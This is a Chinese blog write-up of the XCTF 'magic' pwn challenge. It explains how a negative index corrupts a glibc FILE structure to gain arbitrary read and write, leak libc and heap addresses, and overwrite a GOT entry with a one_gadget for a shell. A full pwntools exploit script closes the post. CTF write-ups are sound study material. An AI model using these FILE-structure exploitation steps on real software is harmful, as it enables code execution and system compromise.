//
xiaoaoaode
Published on 2020-07-12 / 46 Visits
0

攻防世界-magic题Writeup

这道题我花了很长时间依照大佬的Writeup的思想才写出来,这道题主要是需要认识到如何修改FILE结构的内容然后利用fread和fwrite进行任意写,任意读的操作。

(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)

程序保护信息:

image-20200712213915047

main函数里有一个init函数,打开了一个文件:

image-20200712214101710

由于PIE没开,我们开以知道存放文件指针的log_file的地址。

之后是菜单:

image-20200712214413680

1是创建一个这样的结构:

image-20200712214525141

2是一系列的操作:其中在这个地方是可以往低处溢出的。

image-20200712214811234

简单的查看可以得知当v2为-2时正好到log_file的位置。

image-20200712215132467

接下来是几个很关键的操作(其中v3 = wizards[v2],v4为栈上某处):

image-20200712215336303

write_spell是将my_read读取的(最多0x20个)字符写到log_file里,而read_spell是接着从log_file里读出(最多0x20个)字符并打印出来。

这里其实就应该想到如何利用log_file的文件结构来解题了,可是我之前并没有接触太多这方面的东西,所以我并不熟悉怎样来利用,而且CTF-Wiki对这方面的介绍我个人感觉并不是特别全面,所以只好去看大佬的Writeup。

这里我们按照正常思路来考虑就是先泄露libc的基址,而由上一张图片可知:程序可以修改log_file+40的地方,调试后可知:

image-20200713105139801

image-20200713105354142

正好修改的是_IO_write_ptr的数据

而实现fwrite的任意写需要使_IO_write_ptr指向需要写入的部分(_IO_write_end指向写入部分的结尾处),另外,由于程序在调用fwrite函数之后很快又调用了fread函数,所以为了防止出现程序中断的错误,最好不要修改log_file_IO_FILE结构的数据。

又因为fwrite调用的函数_IO_new_file_xsputn里有这样一句(count应该是输出字符数):

image-20200713112730076

所以要想修改_IO_read_ptr_IO_read_end达到任意读的目的来读取got表的值进而获得libc的基址,需要反复运行程序里的wizard_spell函数修改log_file_IO_write_ptr段。

这里我这样操作:

create()
spell(0, '\x00')
for x in range(10):
    spell(-2, '\x00')
spell(-2, '\x00')
spell(-2, '\x00' * 8)
spell(-2, '\x00')
spell(-2, '\x00' * 9)
# 这里就需要反复去调试看有没有出现问题,当然如果有能力直接计算出最优的方法那就更好了。
# 这里最终将_IO_write_ptr改到了log_file-0x10的位置。

接下来就是准备覆盖_IO_read_ptr_IO_read_end部位了。

下面代码都没有直接修改wizards[-2](也就是log_file)的信息,因为如果按照之前的方法修改,_IO_write_ptr会往更低的位置去,这样就没办法再次利用了

注意:wizards[0]只能利用16次

spell(0, p64(0) + p64(0x231) + p64(0xfbad24a8))	
''' 这里0x231是malloc_chunk的size位,而0xfbad24a8在我进行的调试里都是一样大小(Ubuntu16.04)
    注意:这里本可以输入0x20大小的数据,但是不能这个时候修改_IO_read_ptr为puts_got,这样会报错,
         暂时还不知道为什么	╮(╯-╰)╭	'''
spell(0, p64(puts_got) + p64(puts_got + 0x100))
# 这里输入puts_got + 0x100的原因是需要“能够输出的部分”足够大,因为每次读取都需要0x20的数据,如果_IO_read_end - _IO_read_ptr过小,会使得fread里的函数重新更新缓冲区的信息,会修改二者的值。

获取了libc基址后因为got表是可以修改的,所以我打算修改atoi的got表。

而要想修改got表,关键是把_IO_write_ptr_IO_write_end改到我需要改的地方去。

前面正好改到了_IO_read_end的位置,很自然的我会想到直接去修改它下面有关write的指针。

但是这样并不能起作用,我之前在想为什么不能这样修改,我主要参考的Writeup并没有说明原因,还是看了另一个大佬的Writeup才明白的:

通过对分析fwrite调用的_IO_new_file_xsputn函数分析可知,在_IO_write_end >_IO_write_ptr的情况下会执行这个语句image-20200714143547336

所以即使直接修改了_IO_write_ptr段的数据,这里的赋值语句还是会将它改回正常的情况。

因此这里就利用fread的“任意写”来达到目标

  • 设置_IO_buf_base为write_s,_IO_buf_end为write_end(_IO_buf_end-_IO_buf_base要大于0)
  • flag位不能含有4(_IO_NO_READS),_fileno要为0。(最好就直接使用原本的flag)
  • 设置_IO_read_end等于_IO_read_ptr。

_IO_new_file_underflow中在执行系统调用之前会设置一次FILE指针,将
_IO_read_base、_IO_read_ptr、fp->_IO_read_end、_IO_write_base、IO_write_ptr全部设置为_IO_buf_base。

来源:https://www.anquanke.com/post/id/194577#h2-0

为了使_IO_read_ptr等于_IO_read_end并且改_IO_buf_base_IO_buf_end,我们需要先获得堆的基址,再用这个基址加上一大段偏移用来覆盖与write有关的指针(我觉得这里应该是为了让fwrite正常工作)。

spell(-2, p64(0) + p64(0))
spell(0, '\x00' * 2 + p64(0x231) + p64(0xfbad24a8))
spell(0, p64(log_file_add) + p64(puts_got + 0x100))
heap_add = u64(p.recv(8))	# 这里我获取的并不是程序的heap的基址,不过也是非常接近的
spell(0, p64(0) + p64(heap_add + 0x48) + p64(0) + p64(heap_add + 0x48))
spell(0, p64(0x602110) + p64(0x602110 + 0x100))
'''这里的0x602110不刚好是got表那里,而是更大地址的地方,我调试的时候发现改成got表区域会报错,
也不清楚是什么原因'''

OK,然后调整_IO_write_ptratoi的got表那里就好了

spell(-2, '\x00')
spell(-2, '\x00')
spell(-2, '\x00')
spell(0, '\x00' * 4 + p64(libc_base + one_gadget_offset))

(这里我用了one_gadget,这种方法局限性比较大,而且说实话也有点碰运气的感觉,其实更通用的方法应该是修改为system的地址,因为在程序读取菜单选项的时候有这么两句:

image-20200714162941376

很明显可以输入sh获取shell

完整脚本

# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
p = remote('220.249.52.133', 00000)

puts_got = 0x602020
log_file_add = 0x6020e0
one_gadget_offset = 0xf1147


def spell(index, data):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('spell:', str(index))
    p.sendafter('name:', data)


def create():
    p.sendlineafter('>> ', '1')
    p.sendlineafter('name:', 'AAAAAAA')


create()
spell(0, '\x00')
for x in range(10):
    spell(-2, '\x00')
spell(-2, '\x00')
spell(-2, '\x00' * 8)
spell(-2, '\x00')
spell(-2, '\x00' * 9)
spell(0, p64(0) + p64(0x231) + p64(0xfbad24a8))
spell(0, p64(puts_got) + p64(puts_got + 0x100))  # 必须足够大

puts_add = u64(p.recv(6) + '\x00\x00')
obj = LibcSearcher("puts", puts_add)
libc_base = puts_add - obj.dump('puts')

spell(-2, p64(0) + p64(0))
spell(0, '\x00' * 2 + p64(0x231) + p64(0xfbad24a8))
spell(0, p64(log_file_add) + p64(puts_got + 0x100))  # p64(log_file_add + 0x40))
heap_add = u64(p.recv(8))
print 'puts_add:', hex(puts_add), 'heap_base:', hex(heap_add)

spell(0, p64(0) + p64(heap_add + 0x48) + p64(0) + p64(heap_add + 0x48))
spell(0, p64(0x602110) + p64(0x602110 + 0x100))
spell(-2, '\x00')
spell(-2, '\x00')
spell(-2, '\x00')
spell(0, '\x00' * 4 + p64(libc_base + one_gadget_offset))
p.sendline('2')

p.interactive()

这道题主要是考察对FILE结构这一块的知识的运用,而且比较麻烦,需要考虑的情况比较多,经常要翻阅glibc的源代码,而且现在我对这方面还是没有比较系统的学习,理解不深,如果有时间我会去研究一下_IO_FILE结构和fwritefreadscanf的源代码。